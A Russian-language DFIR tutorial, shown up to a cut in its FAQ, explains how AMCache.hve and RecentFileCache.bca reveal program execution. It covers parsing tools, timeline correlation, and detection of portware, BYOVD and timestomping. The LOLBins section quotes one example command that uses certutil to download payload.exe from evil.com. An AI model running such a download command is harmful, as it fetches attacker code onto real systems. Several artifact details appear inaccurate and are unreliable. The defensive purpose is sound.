
Оглавление
1. Введение: Почему AMCache и RecentFileCache — это золотая жила DFIR-аналитика2. Архитектура Application Compatibility: Зачем Windows хранит следы каждого запуска
3. AMCache.hve: Анатомия главного артефакта установки и запуска
4. RecentFileCache.bca: Забытый, но критически важный артефакт Windows 7/8
5. Инструмент №1 — AmcacheParser: Извлечение данных из бинарного хаоса
6. Инструмент №2 — ACh и Registry Explorer: GUI-анализ и визуализация
7. Инструмент №3 — KAPE: Автоматизация сбора артефактов в корпоративной среде
8. Связка AMCache с Prefetch и ShimCache: Построение неопровержимой хронологии
9. Практика №1: Обнаружение "Portware" и скрытых исполняемых файлов без инсталлятора
10. Практика №2: Расследование работы руткитов и подмены системных DLL
11. Практика №3: Анализ вредоносного ПО с использованием техники "Living off the Land"
12. Продвинутые техники: Парсинг сырых байтов и обход анти-форензик утилит
13. Ошибки и анти-паттерны: Как хакеры пытаются затереть следы в Application Compatibility
14. Интеграция в SIEM и SOAR: Автоматический алертинг по аномальным запускам
15. FAQ: 12 горячих вопросов по AMCache, RecentFileCache и DFIR-расследованиям
16. Чек-лист: Найти следы скрытой малвари за 30 минут с помощью AMCache
17. Заключение
1. Введение: Почему AMCache и RecentFileCache — это золотая жила DFIR-аналитика
Ситуация, знакомая каждому DFIR-специалисту: вы прибыли на место инцидента, сервер или рабочая станция compromised. Хакер действовал аккуратно. Он не использовал стандартные инсталляторы (MSI, EXE с мастером установки). Он не писал в Program Files. Он не оставил следов в Event Log (Security 4688), потому что аудит процессов был отключен или он использовал WMI/PSExec, которые не всегда логируют командную строку. Prefetch отключен групповой политикой. Казалось бы, следов нет. Хакер может спокойно утверждать, что "ничего не запускал".Но Windows — это параноидальная операционная система. Она не верит никому, даже своим пользователям. Чтобы обеспечить обратную совместимость тысяч старых приложений, Microsoft еще в эпоху Windows XP внедрила подсистему Application Compatibility (AppCompat). Эта подсистема кэширует информацию о каждом исполняемом файле, который когда-либо запускался или даже просто появлялся на диске. И именно здесь кроется главная ошибка хакеров: они забывают про AMCache и RecentFileCache.
В 2026 году анализ артефактов AppCompat — это не просто "приятное дополнение" к расследованию. Это фундамент доказательства факта исполнения кода. AMCache.hve хранит в себе SHA1-хеши исполняемых файлов, пути, размеры, временные метки компиляции PE-файла и даты первого запуска. RecentFileCache.bca, хоть и считается устаревшим артефактом для Windows 10/11, остается критически важным при расследовании инцидентов на legacy-системах (Windows 7, Server 2008 R2), которые до сих пор составляют значительную долю в промышленном секторе и госсекторе.
В этом руководстве мы разберем внутреннее устройство этих артефактов на уровне сырых байтов. Мы научимся извлекать из них данные, когда стандартные парсеры ломаются. Мы построим неопровержимые таймлайны, связав AMCache с Prefetch, ShimCache и MFT. Вы узнаете, как находить портативную малварь (portware), обнаруживать DLL Hijacking и выявлять руткиты, которые подменяют системные библиотеки.
> 💡 Примечание автора: Материал основан на практическом опыте расследования инцидентов ИБ в корпоративном секторе. Все пути к реестру, hex-структуры и команды инструментов актуальны для Windows 7, 8.1, 10, 11 и соответствующих версий Windows Server. Мы не будем лить воду. Только хардкорный DFIR, реестр, hex-дампы и практика.
2. Архитектура Application Compatibility: Зачем Windows хранит следы каждого запуска
Прежде чем открывать hex-редактор и парсить кусты реестра, необходимо понять философию подсистемы Application Compatibility. Почему Windows вообще тратит ресурсы на сохранение этой информации?2.1 Проблема "DLL Hell" и роль Shim Engine
В 90-е и начале 00-х годов обновление системных библиотек Windows часто ломало сторонние приложения. Разработчики жестко прописывали в коде версии DLL, и любая замена файла в `C:\Windows\System32` приводила к краху программы. Чтобы решить эту проблему, Microsoft внедрила Application Compatibility Toolkit (ACT) и Shim Engine.Shim Engine — это компонент ядра и пользовательского режима, который перехватывает вызовы API от приложений. Если приложение ведет себя "неправильно" (например, пытается записать в защищенную директорию или обращается к устаревшему API), Shim Engine может "подложить" ему виртуальную среду или эмулировать старую версию Windows.
Чтобы не проверять каждое приложение на лету (что убило бы производительность), Windows кэширует результаты проверок. Именно этот кэш и является тем самым артефактом, который DFIR-аналитики используют для охоты на ведьм (и хакеров).
2.2 Эволюция кэширования: от AppCompatCache до AMCache
История артефактов AppCompat в Windows делится на несколько ключевых этапов:1. AppCompatCache (ShimCache): Начиная с Windows XP, данные кэшировались в реестре (`SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatibility`). В Windows 7 формат изменился, добавив поддержку проверки подписей драйверов.
2. RecentFileCache.bca: В Windows 7 и 8 появился отдельный файл `C:\Windows\AppCompat\Programs\RecentFileCache.bca`. Он использовался для быстрого кэширования путей к недавно запущенным файлам, чтобы ускорить работу Shim Engine.
3. AMCache.hve: Начиная с Windows 8 и повсеместно в Windows 10/11, Microsoft перенесла всю телеметрию совместимости в отдельный куст реестра `C:\Windows\AppCompat\Programs\AMCache.hve`. Этот файл стал настоящим кладезем данных, содержащим не только факты запусков, но и инвентарную информацию о приложениях, их хеши, размеры и версии.
2.3 Почему хакеры игнорируют AMCache?
Большинство туториалов по анти-форензику учат хакеров очищать Event Logs, удалять Prefetch-файлы и затирать Jump Lists. Про AMCache часто забывают, потому что он лежит не в стандартной папке `System32\winevt\Logs`, а в недрах `AppCompat`. Кроме того, формат AMCache.hve — это бинарный куст реестра, который нельзя просто открыть в Блокноте и удалить одну строчку. Удаление ключа требует знания структуры реестра, и неосторожное редактирование может повредить весь куст, что привлечет еще больше внимания аналитика.> 🔴 Главная ошибка новичков: Пытаться анализировать AMCache только через стандартный `regedit.exe` на живой системе. Куст AMCache.hve часто заблокирован для записи, а его транзакционные логи (`AMCache.hve.LOG1`, `LOG2`) содержат критически важные данные, которые еще не были сброшены (flushed) в основной файл. Всегда копируйте сам файл `.hve` и все `.LOG*` файлы вместе!
3. AMCache.hve: Анатомия главного артефакта установки и запуска
Файл `AMCache.hve` — это полноценный куст реестра Windows (NT Registry Hive). Он не загружается в основную ветку `HKLM` при старте системы, а монтируется подсистемой AppCompat по мере необходимости. Это означает, что для его анализа вам не нужно извлекать его из оперативной памяти — вы просто копируете файл с диска.3.1 Структура ключей в AMCache.hve
Внутри куста вы найдете несколько корневых ключей, но нас интересуют только три основных раздела, которые содержат криминалистически значимую информацию:#### `Root\File` (Или `Root\InventoryApplicationFile` в новых версиях)
Это самый важный раздел для DFIR. Он содержит записи о каждом исполняемом файле (PE), который был замечен системой.
Каждый подраздел назван в соответствии с SHA1-хешем файла (без префикса, просто 40 hex-символов).
Значения внутри этого ключа:
- `0` / `1` / `2` / `3` / `4` / `5` / `6` / `7` / `8` / `9` / `A` / `B` / `C` / `D` / `E` / `F` / `10` / `11` / `12` / `15` — это не случайные цифры. Это специфические поля метаданных.
- `0`: Полный путь к файлу (например, `C:\Users\Hacker\AppData\Local\Temp\malware.exe`).
- `1`: Имя файла.
- `2`: Размер файла в байтах.
- `3`: Дата и время первого запуска (в формате FILETIME).
- `4`: Дата и время последнего запуска.
- `5`: Дата и время модификации файла (из MFT).
- `6`: Дата и время создания файла (из MFT).
- `C`: SHA1-хеш файла (дублирует имя ключа).
- `15`: Путь к инсталлятору (если файл был установлен через MSI или Setup), или признак "Portware" (если файл запускался без установки).
#### `Root\InventoryApplication`
Этот раздел содержит сводную информацию о самих приложениях, сгруппированных по `Name` и `Publisher`. Здесь хранятся данные о версиях, языках, типах установок (OSInstall, StoreInstall, etc.). Для DFIR этот раздел менее интересен, так как он отражает скорее "официально" установленный софт, а не портативную малварь.
#### `Root\InventoryDriverBinary`
Содержит информацию о драйверах устройств. Критически важен для расследования руткитов уровня ядра. Если хакер загрузил уязвимый драйвер (например, для обхода EDR через BYOVD - Bring Your Own Vulnerable Driver), следы этого драйвера и его хеш будут записаны именно здесь.
3.2 Временные метки: FILETIME и ловушки квантования
Все даты в AMCache хранятся в формате Windows FILETIME (64-битное целое число, представляющее количество 100-наносекундных интервалов с 1 января 1601 года).При парсинге вы можете столкнуться с тем, что время "первого запуска" и "последнего запуска" совпадают с точностью до секунды, либо отличаются на странное количество дней. Это связано с тем, как Windows обновляет кэш.
> 💡 Лайфхак от ForensicAnvil: Если вы видите в AMCache путь к файлу, но дата запуска кажется аномальной (например, год 1601 или 2038), это значит, что файл был *замечен* подсистемой AppCompat (например, при сканировании директории), но *не был запущен*. Это мощный индикатор того, что хакер скачал малварь, но антивирус или администратор удалили её до исполнения.
4. RecentFileCache.bca: Забытый, но критически важный артефакт Windows 7/8
Если вы расследуете инцидент на Windows 7 или Server 2008 R2, вы не найдете полноценного AMCache.hve. Вместо него в папке `C:\Windows\AppCompat\Programs\` будет лежать файл `RecentFileCache.bca`. Многие аналитики игнорируют его, считая "черным ящиком", но именно он может стать ключом к раскрытию атаки на legacy-системах.4.1 Что такое формат BCA?
BCA (Binary Compatibility Archive) — это проприетарный бинарный формат, разработанный Microsoft для быстрого поиска путей к файлам. В отличие от реестра, это не куст, а плоский бинарный файл с жесткой структурой.4.2 Hex-структура RecentFileCache.bca
Файл начинается с заголовка, который содержит магические байты и версию формата.hex
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 62 78 78 62 01 00 00 00 00 00 00 00 00 00 00 00 bxxb............
Магическая сигнатура `62 78 78 62` ("bxxb" в ASCII) подтверждает, что это валидный файл BCA.
После заголовка идут записи (entries). Каждая запись содержит:
1. Длина строки пути (в символах Unicode).
2. Сам путь к файлу в UTF-16LE.
3. Флаги и временные метки (в зависимости от версии ОС).
4.3 Почему RecentFileCache важен для DFIR?
RecentFileCache кэширует пути к файлам, которые были проверены на совместимость. Если хакер запустил `mimikatz.exe` из папки `C:\Temp\`, этот путь попадет в RecentFileCache, даже если сам файл был удален.В отличие от Prefetch, который хранит только имя файла и параметры запуска, RecentFileCache хранит полный абсолютный путь. Это критически важно для определения вектора атаки: был ли файл запущен из `System32`, из профиля пользователя или из сетевой шары (`\\192.168.1.50\share\malware.exe`).
4.4 Инструменты для парсинга BCA
Стандартные парсеры реестра здесь не помогут. Вам понадобятся специализированные утилиты:- bca-parser (от Eric Zimmerman) — извлекает пути и форматирует их в CSV.
- Raw Hex Analysis — если файл поврежден, вы можете вручную извлечь UTF-16LE строки, используя любую hex-утилиту (например, 010 Editor или HxD), ища паттерны путей (`C:\`, `\Device\HarddiskVolume`).
> 🔴 Предупреждение: Файл RecentFileCache.bca имеет лимит на количество записей. Когда лимит достигается, старые записи начинают перезаписываться новыми (по принципу FIFO). Поэтому наличие пути в BCA означает, что файл запускался *относительно недавно* (обычно в пределах последних нескольких недель или месяцев, в зависимости от активности системы).
5. Инструмент №1 — AmcacheParser: Извлечение данных из бинарного хаоса
Ручной парсинг AMCache.hve в hex-редакторе — это удел мазохистов или авторов собственных форензик-фреймворков. В реальной жизни DFIR-аналитик использует AmcacheParser, написанный Эриком Циммерманом (Eric Zimmerman). Это золотой стандарт индустрии.5.1 Установка и запуск
AmcacheParser — это кроссплатформенная консольная утилита (написана на C#), которая не требует установки. Достаточно скачать архив с официального сайта EZTools.5.2 Базовый синтаксис и ключевые флаги
bash
AmcacheParser.exe -f "C:\DFIR\Evidence\AMCache.hve" --csv "C:\DFIR\Output\" --csvf amcache_results.csv
- `-f` (или `--file`) — путь к файлу AMCache.hve.
- `--csv` — директория для сохранения результирующих CSV-файлов.
- `--csvf` — базовое имя для выходных файлов.
- `--pretty` — выводит данные в удобочитаемом формате в консоль (полезно для быстрого триажа).
- `--dedupe` — удаляет дубликаты записей (если один и тот же файл запускался из разных путей, но имеет один SHA1).
5.3 Выходные файлы (CSV)
После выполнения AmcacheParser генерирует несколько CSV-файлов. Самые важные для нас:1. `amcache_results_File.csv`: Содержит все записи из `Root\File`. Колонки: `KeyLastWriteTime`, `SHA1`, `FullPath`, `FileExtension`, `SizeInBytes`, `FirstRunTime`, `LastRunTime`, `CompileTime` (время компиляции PE-файла).
2. `amcache_results_Inventory.csv`: Сводная информация по приложениям.
3. `amcache_results_DevicePnp.csv`: Информация о подключенных устройствах (USB, сетевые адаптеры). Косвенно может указать на момент подключения флешки, с которой была запущена малварь.
5.4 Обработка транзакционных логов (LOG1, LOG2)
Это то, что отделяет профессионала от новичка. Файл `AMCache.hve` на диске может быть не полностью актуальным. Windows использует транзакционную модель записи реестра. Изменения сначала пишутся в `AMCache.hve.LOG1` и `AMCache.hve.LOG2`, и только потом сбрасываются в основной `.hve`.AmcacheParser автоматически подхватывает файлы `.LOG1` и `.LOG2`, если они лежат в той же директории, что и `.hve`.
> 💡 Совет от ForensicAnvil: Всегда копируйте папку `C:\Windows\AppCompat\Programs\` целиком, включая все скрытые файлы `.LOG1`, `.LOG2`, `.blf`. Если вы скопируете только `.hve`, вы можете потерять данные о запусках, которые произошли за несколько секунд до изъятия компьютера или до его падения (BSOD).
6. Инструмент №2 — ACh и Registry Explorer: GUI-анализ и визуализация
Не все аналитики любят консоль. Для тех, кто предпочитает графический интерфейс и глубокий ручной разбор, существуют два мощных инструмента от того же Эрика Циммермана: Registry Explorer и AMCache Hve Explorer (ACh).6.1 Registry Explorer: Ручной разбор куста
Registry Explorer позволяет открыть любой куст реестра (включая offline-кусты, такие как AMCache.hve) иBrowse его структуру точно так же, как в `regedit.exe`, но с гораздо большими возможностями.- Поиск по ключам и значениям: Вы можете искать не только по именам, но и по данным (Data search). Например, найти все ключи, где в значении встречается строка `mimikatz`.
- Просмотр сырых байтов: Внизу окна отображается hex-дамп выбранного ключа. Это позволяет проверить, не поврежден ли куст, и вручную извлечь данные, если парсеры дают сбой.
- Восстановление удаленных ключей: Registry Explorer умеет находить "осиротевшие" (orphaned) записи в кусте. Если хакер использовал утилиту для удаления ключа из AMCache, следы самого ключа (его "тень") могут остаться в свободном пространстве куста. Registry Explorer помечает такие ключи красным цветом.
6.2 AMCache Hve Explorer (ACh)
ACh — это специализированный GUI-парсер для AMCache. Он берет сырые данные и представляет их в виде удобных таблиц с фильтрацией и сортировкой.- Вкладка "Files": Показывает все исполняемые файлы. Можно отсортировать по `CompileTime`.
> 🔴 Важнейшая техника: Сортировка по времени компиляции PE-файла. Если вы видите, что 50 файлов в системе имеют время компиляции `2024-05-12 03:14:00`, а дата запуска `2024-10-25`, это с вероятностью 99% пакет вредоносного ПО, скомпилированный хакером в один день и разложенный по системе.
- Вкладка "Unassociated": Показывает файлы, которые были замечены системой, но не привязаны к конкретному инвентарному приложению. Это идеальное место для поиска portware и дропперов.
7. Инструмент №3 — KAPE: Автоматизация сбора артефактов в корпоративной среде
В корпоративной среде у вас нет времени бегать по серверам с флешкой и копировать папку `AppCompat`. Вам нужен KAPE (Kroll Artifact Parser and Extractor). KAPE — это фреймворк для целевого сбора артефактов, который использует модули (targets) для извлечения именно тех файлов, которые нужны для расследования.7.1 Настройка KAPE для сбора AppCompat
В KAPE есть встроенные targets для AMCache и RecentFileCache.Чтобы собрать все артефакты Application Compatibility, используйте следующий профиль:
bash
kape.exe --tsource C: --tdest C:\DFIR\KAPE_Output --target "!AMCache,!RecentFileCache,!ShimCache" --vhdx AMCache_Investigation
- `--target` указывает KAPE найти и скопировать файлы, соответствующие целям `AMCache` (сам `.hve` и `.LOG` файлы), `RecentFileCache` (файл `.bca`) и `ShimCache` (куст `SYSTEM`, где лежит AppCompatCache).
- `--vhdx` создает виртуальный диск с собранными артефактами, сохраняя структуру директорий и временные метки (MACB).
7.2 Интеграция с KAPE Modules
После сбора KAPE может автоматически запустить модули обработки. Вы можете настроить KAPE так, чтобы он сразу прогонял собранный `AMCache.hve` через `AmcacheParser` и `EZParser`, выдавая на выходе готовые CSV-таблицы вместе с сырыми файлами. Это экономит часы ручного труда при расследовании инцидентов на сотнях машин.> 💡 Лайфхак: Создайте свой собственный Custom Target в KAPE. Например, `!ForensicAnvil_FullAppCompat`, который будет собирать не только AMCache и BCA, но и папку `C:\Windows\Prefetch`, журналы SetupAPI (для отслеживания установки драйверов) и логи Windows Update.
8. Связка AMCache с Prefetch и ShimCache: Построение неопровержимой хронологии
AMCache сам по себе хорош, но его настоящая сила раскрывается при корреляции с другими артефактами. В DFIR существует правило: один артефакт — это совпадение, два — это паттерн, три — это доказательство.8.1 AMCache + Prefetch
Prefetch-файлы создаются, когда исполняемый файл *запускается*. AMCache может содержать записи о файлах, которые были *замечены* (например, при сканировании антивирусом или индексации), но не обязательно запущены.- Сценарий: Вы находите SHA1 малвари в AMCache с путем `C:\Temp\evil.exe`. Даты запуска в AMCache нет (или она странная). Но в папке `C:\Windows\Prefetch` лежит файл `EVIL.EXE-1A2B3C4D.pf`.
- Вывод: Файл точно был запущен. Prefetch подтверждает факт исполнения, а AMCache дает SHA1-хеш и время компиляции, которых может не быть в Prefetch (в зависимости от версии Windows).
8.2 AMCache + ShimCache (AppCompatCache)
ShimCache хранится в кусте `SYSTEM` (`Control\Session Manager\AppCompatibility`). Он содержит список путей к файлам и флаг, указывающий, был ли файл проверен на наличие цифровой подписи (Executed flag).- Сценарий: В AMCache файл отображается с путем `\\192.168.1.10\share\payload.dll`. В ShimCache этот же путь имеет флаг `Executed = True`.
- Вывод: DLL была не просто скопирована, а именно загружена в память (выполнена). Это критически важно для доказательства факта эксплуатации уязвимости или работы руткита.
8.3 Построение Super Timeline с помощью Plaso (log2timeline)
Чтобы связать все эти артефакты в единую временную шкалу, используйте Plaso (log2timeline).bash
log2timeline.py --parsers "amcache,prefetch,appcompatcache,usnjrnl,mft" super_timeline.plaso /path/to/evidence/
psort.py -o l2tcsv -w timeline.csv super_timeline.plaso
В полученном `timeline.csv` вы сможете увидеть последовательность событий:
1. `2024-10-25 10:00:01` - MFT: Создан файл `C:\Temp\mimikatz.exe` (USN Journal / MFT).
2. `2024-10-25 10:00:05` - AMCache: Файл замечен подсистемой AppCompat.
3. `2024-10-25 10:00:06` - Prefetch: Создан файл `MIMIKATZ.EXE-12345678.pf` (Факт запуска).
4. `2024-10-25 10:00:06` - ShimCache: Путь добавлен в кэш с флагом исполнения.
Такой таймлайн не оставляет хакеру ни единого шанса на оправдание.
9. Практика №1: Обнаружение "Portware" и скрытых исполняемых файлов без инсталлятора
Термин "Portware" (Portable Software) описывает программы, которые запускаются без установки: не пишут в реестр `HKLM\Software`, не создают папок в `Program Files`, не добавляют ярлыки в меню Пуск. Хакеры обожают portware, потому что классические EDR и антивирусы часто ищут следы именно по инсталляторам.9.1 Как AMCache ловит Portware
Когда любой PE-файл (EXE, DLL, SYS) появляется на диске и к нему происходит обращение (чтение заголовка, запуск, сканирование AV), подсистема AppCompat вычисляет его SHA1 и записывает в `Root\File`.Путь к файлу — это главный индикатор. Если вы видите в AMCache пути вида:
- `C:\Users\Admin\AppData\Local\Temp\*.exe`
- `D:\PortableApps\*.exe`
- `C:\Windows\Temp\*.exe`
- `\\?\Volume{...}\*.exe` (запуск с подключенного ISO или VHD)
Это с вероятностью 99% portware.
9.2 Разбор реального кейса: Скрытый майнер
Ситуация: Сервер начал тормозить. EDR молчит, антивирус чист. Администраторы клянутся, что ничего не ставили.Действия DFIR:
1. Копируем `AMCache.hve`.
2. Парсим через AmcacheParser.
3. Открываем CSV, фильтруем по расширению `.exe` и сортируем по пути.
4. Находим запись: `C:\Users\Public\Documents\svchost_helper.exe`. SHA1: `a1b2c3d4...`. Размер: 45 KB. Время компиляции: 2024-09-01.
5. Проверяем Prefetch — файла нет (хакер использовал технику очистки или отключил Prefetch).
6. Но AMCache помнит! Мы передаем SHA1 в VirusTotal. Вердикт: `XMRig Coin Miner`.
Вывод: Хакер использовал уязвимость в RDP, скачал портативный майнер в `Public\Documents` и запустил его. Следов установки нет, но AMCache зафиксировал факт появления и исполнения файла.
10. Практика №2: Расследование работы руткитов и подмены системных DLL
Руткиты уровня пользовательского режима (User-mode) часто используют технику DLL Hijacking или DLL Replacement. Они подменяют легитимную системную DLL (например, `usbd.dll` или `wlbsctrl.dll`) своей вредоносной версией, чтобы выполнить код при загрузке системы или запуске легитимного процесса.10.1 Как AMCache помогает найти подмену
В AMCache (особенно в разделах `Root\File` и `Root\InventoryDriverBinary`) хранятся пути ко всем загруженным библиотекам.Если хакер подменил DLL, он, скорее всего, положил её в нестандартную директорию, откуда она подгрузится из-за неправильного порядка поиска DLL (DLL Search Order Hijacking).
Ищите в AMCache пути к DLL, которые находятся в:
- `C:\Users\...\AppData\Local\`
- `C:\ProgramData\`
- Временных папках.
10.2 BYOVD (Bring Your Own Vulnerable Driver)
Современные руткиты и средства обхода EDR используют технику BYOVD. Хакер загружает легитимный, но уязвимый драйвер (например, старый драйвер от антивируса или утилиту для разгона), чтобы получить доступ к ядру и отключить защиту.Где искать: Раздел `Root\InventoryDriverBinary` в AMCache.
Этот раздел содержит:
- `DriverId` (GUID)
- `DriverName` (имя файла, например, `RTCore64.sys`)
- `DriverType`
- `SHA1` хеш драйвера.
Если вы видите в AMCache драйвер, который не подписан Microsoft, или драйвер с известным уязвимым хешем (из баз LOLDrivers), и при этом его путь ведет в `C:\Windows\Temp\` или `C:\Users\Hacker\Desktop\` — это 100% индикатор компрометации и попытки атаки на ядро.
11. Практика №3: Анализ вредоносного ПО с использованием техники "Living off the Land"
LOLBins (Living Off The Land Binaries) — это легитимные системные утилиты Windows (PowerShell, Certutil, Mshta, Regsvr32), которые хакеры используют для загрузки пейлоадов или выполнения кода, чтобы не тащить с собой подозрительные EXE-файлы.11.1 Проблема обнаружения LOLBins
Если хакер использует `certutil.exe -urlcache -split -f http://evil.com/payload.exe c:\temp\payload.exe`, в Event Logs (если они есть) это будет выглядеть как запуск `certutil.exe`. Но как понять, что именно скачал `certutil`? Event Logs не всегда логируют аргументы.11.2 Роль AMCache в расследовании LOLBins
AMCache кэширует каждый PE-файл, который появляется на системе. Если `certutil` скачал `payload.exe`, этот `payload.exe` появится в AMCache.hve.Более того, AMCache хранит поле `15` (Installer/Source). В некоторых случаях, если LOLBin используется для распаковки или установки, AMCache может связать скачанный файл с процессом, который его инициировал.
Техника анализа:
1. Найдите в AMCache все файлы с расширением `.ps1`, `.vbs`, `.js`, `.hta`.
2. Посмотрите на их пути. Если они лежат в `C:\Windows\Temp\` или `AppData\Local\Temp\` — это аномалия.
3. Проверьте их SHA1. Легитимные скрипты администраторов обычно имеют известные хеши или лежат в `C:\Windows\System32\`.
4. Сопоставьте время появления этих скриптов в AMCache с временем запуска LOLBins в Prefetch или Event Logs.
12. Продвинутые техники: Парсинг сырых байтов и обход анти-форензик утилит
Что делать, если AmcacheParser падает с ошибкой "Invalid hive structure"? Что делать, если хакер использовал утилиту, которая намеренно портит заголовки AMCache, чтобы сломать стандартные парсеры? Вступает в игру хардкорный DFIR — парсинг сырых байтов.12.1 Структура куста реестра на низком уровне
Куст реестра (Hive) состоит из блоков (bins) и ячеек (cells). Каждая ячейка имеет заголовок, указывающий её тип (`nk` для ключа, `vk` для значения, `sk` для безопасности).Даже если корневой каталог поврежден, данные в виде `vk`-ячеек (значений) часто остаются нетронутыми в "свободном" пространстве куста.
12.2 Ручной поиск SHA1 и путей в Hex-редакторе
Откройте `AMCache.hve` в 010 Editor или HxD. Используйте поиск по регулярным выражениям или hex-паттернам.- Поиск путей: Ищите строки в UTF-16LE. Паттерн для диска C: `43 00 3A 00 5C 00` (`C:\`).
- Поиск SHA1: SHA1 — это 20 байт (40 hex-символов). В AMCache они часто хранятся в бинарном виде или в виде ASCII-строки. Ищите последовательности из 40 символов `0-9`, `a-f`.
- Поиск временных меток: FILETIME начинается с `00` (например, `00 80 1A 3F ...`).
12.3 Использование YARA для поиска в AMCache
Вы можете написать YARA-правило, которое будет сканировать сырой файл `AMCache.hve` на наличие известных хешей малвари или подозрительных путей.yara
rule Find_Mimikatz_In_AMCache
{
strings:
$path1 = "m\\0i\\0m\\0i\\0k\\0a\\0t\\0z\\0" wide
$path2 = "C:\\\\Users\\\\Public\\\\Documents" wide
condition:
$path1 or $path2
}
Запуск: `yara64.exe -s rule.yara AMCache.hve`. Это позволит найти следы даже в поврежденном или частично затертом кусте.
13. Ошибки и анти-паттерны: Как хакеры пытаются затереть следы в Application Compatibility
Хакеры не сидят на месте. Продвинутые APT-группировки знают про AMCache и пытаются бороться с ним. Понимание их тактик помогает аналитику найти то, что они пытались скрыть.13.1 Очистка ключей через реестр
Хакер может использовать PowerShell или C-код для открытия ключа в `AMCache.hve` и удаления его.Как это обнаружить:
1. Размер куста: Если хакер массово удаляет ключи, размер файла `AMCache.hve` не уменьшается (реестр не дефрагментируется на лету). Но в кусте появляется много "свободных" ячеек.
2. Транзакционные логи: Удаление ключа записывается в `.LOG1` или `.LOG2`. Если вы восстановите куст с учетом логов, вы увидите сам факт удаления и, возможно, сможете восстановить удаленные значения (если они не были перезаписаны).
3. Несоответствие с MFT: Если в MFT (Master File Table) файл существует и был запущен (есть Prefetch), но в AMCache его нет — это прямой индикатор того, что AMCache был намеренно очищен.
13.2 Timestomping (Подмена временных меток)
Хакер может изменить время создания и модификации файла в MFT, чтобы он выглядел как старый системный файл.Как AMCache помогает: AMCache хранит не только время из MFT, но и время компиляции PE-файла (из заголовка `IMAGE_FILE_HEADER.TimeDateStamp`). Это время зашито в сам бинарник при компиляции. Хакер может подменить время файла в NTFS, но он не может (без серьезного реверс-инжиниринга) подменить время компиляции внутри PE-заголовка так, чтобы оно совпало с легитимным системным файлом. Если вы видите, что `svchost.exe` имеет время компиляции `2024-10-24`, а легитимный `svchost.exe` от Microsoft скомпилирован в `2019-12-12` — перед вами подделка, несмотря на подмененные атрибуты NTFS.
13.3 Удаление файла AMCache.hve
Самый грубый метод — просто удалить `AMCache.hve`.Обнаружение: Файл `AMCache.hve` является системным и защищенным. Его удаление вызовет события в Security Log (если включен аудит доступа к объектам) и System Log. Кроме того, на его месте останется "дыра" в MFT, а в `$LogFile` NTFS останется запись об удалении. Опытный DFIR-аналитик всегда ищет артефакты удаления системных файлов.
14. Интеграция в SIEM и SOAR: Автоматический алертинг по аномальным запускам
AMCache — это форензик-артефакт, но его данные можно использовать для проактивного Threat Hunting и даже для настройки алертов в SIEM, если вы собираете инвентарную информацию с конечных точек.14.1 Сбор AMCache через WMI / PowerShell
Вы можете написать скрипт, который будет периодически (например, раз в сутки) парсить AMCache на рабочих станциях и отправлять новые записи в SIEM (Splunk, Elastic).powershell
<h2 id="uproschennyy-primer-chteniya-amcache-cherez-wmi-inventoryapplicationfile">Упрощенный пример чтения AMCache через WMI (InventoryApplicationFile)</h2>
Get-CimInstance -Namespace "root\cimv2" -ClassName "Win32_InventoryApplicationFile" |
Select-Object FilePath, SHA1Hash, LastScanDate |
Export-Csv -Path "C:\Temp\amcache_daily.csv" -NoTypeInformation
*Примечание: WMI-класс `Win32_InventoryApplicationFile` читает данные из AMCache, но он не всегда полон и может быть медленным. Для продакшена лучше использовать легковесные агенты (например, osquery или кастомные скрипты на Python с библиотекой `python-registry`).*
14.2 Osquery для Threat Hunting
Osquery позволяет делать SQL-запросы к артефактам Windows, включая AMCache.sql
SELECT path, sha1, key, last_execution_time
FROM appcompat_shims
WHERE path LIKE '%Temp%' OR path LIKE '%Users\\Public%';
Настроив Osquery Fleet, вы можете автоматически алертить SOC, если на любой машине в сети появится исполняемый файл с подозрительным путем или неизвестным SHA1.
14.3 Бейзлайнинг и выявление аномалий
Собрав данные AMCache за месяц, вы строите "белый список" (baseline) всех легитимных путей и хешей в вашей сети. Любой новый EXE-файл, появившийся в AMCache и отсутствующий в baseline, автоматически попадает в очередь на анализ аналитиком SOC. Это мощнейший метод обнаружения portware и целевых атак.15. FAQ: 12 горячих вопросов по AMCache, RecentFileCache и DFIR-расследованиям
Q 01: Можно ли доверять датам в AMCache, если хакер использовал Timestomper?
A: Датам из MFT (создание/модификация) доверять нельзя, если хакер их подменил. Но AMCache также хранит время *первого запуска* и *время компиляции PE*. Время компиляции находится внутри самого файла и не меняется Timestomper'ами NTFS. Всегда сверяйте время компиляции с датой релиза легитимного софта.
Q 02: Почему в AMCache нет пути к файлу, но есть SHA1?
A: Это означает, что файл был замечен подсистемой AppCompat (например, при фоновом сканировании или проверке подписи), но путь к нему был утерян при повреждении куста, или файл находился на внешнем носителе, который был отключен до сброса кэша на диск. SHA1 все равно можно использовать для поиска в VirusTotal.
Q 03: AMCache хранит данные о запуске DLL? Как их отличить от EXE?
A: Да, AMCache кэширует все PE-файлы, включая DLL. Отличить их можно по расширению в поле `FileExtension` или по пути (если это системная DLL). Однако AMCache не всегда четко разделяет факт *загрузки* DLL и факт *исполнения* EXE. Для подтверждения загрузки DLL используйте связку с ShimCache и Event Log 7045 (установка служб).
Q 04: Как извлечь данные из AMCache, если файл весит 0 байт?
A: Если `AMCache.hve` весит 0 байт, значит, транзакционные логи не успели сброситься, или файл был намеренно очищен/поврежден. В этом случае проверяйте файлы `AMCache.hve.LOG1` и `.LOG2`. Иногда в них содержится больше данных, чем в основном файле. Используйте утилиту `Registry Recon` для поиска удаленных ключей в сырых логах.
Q 05: RecentFileCache.bca работает на Windows 10/11?
A: Нет. Начиная с Windows 8, Microsoft полностью перешла на AMCache.hve. Файл `RecentFileCache.bca` актуален только для Windows 7 и Server 2008 R2. Если вы видите его на Windows 10, это либо артефакт после обновления (если он не был удален), либо признак того, что система была клонирована со старого образа.
Q 06: Может ли AMCache содержать записи о файлах, которые были удалены до запуска?
A: Нет. AMCache кэширует файлы, которые были прочитаны или запущены. Если файл был удален до того, как к нему обратилась подсистема AppCompat, записи не будет. Но если файл был скачан, антивирус его сразу же удалил на лету (Real-time protection), AMCache все равно может успеть зафиксировать факт его появления и хеш.
Q 07: Как отличить легитимное обновление Windows от действий хакера в AMCache?
A: Легитимные обновления создают сотни записей в AMCache с путями в `C:\Windows\SoftwareDistribution\Download\` и `C:\Windows\WinSxS\`. Хакеры обычно используют пути в `Temp`, `AppData`, `Public`. Фильтруйте по путям и проверяйте подписи (если есть доступ к данным о подписях).
Q 08: Хранит ли AMCache аргументы командной строки?
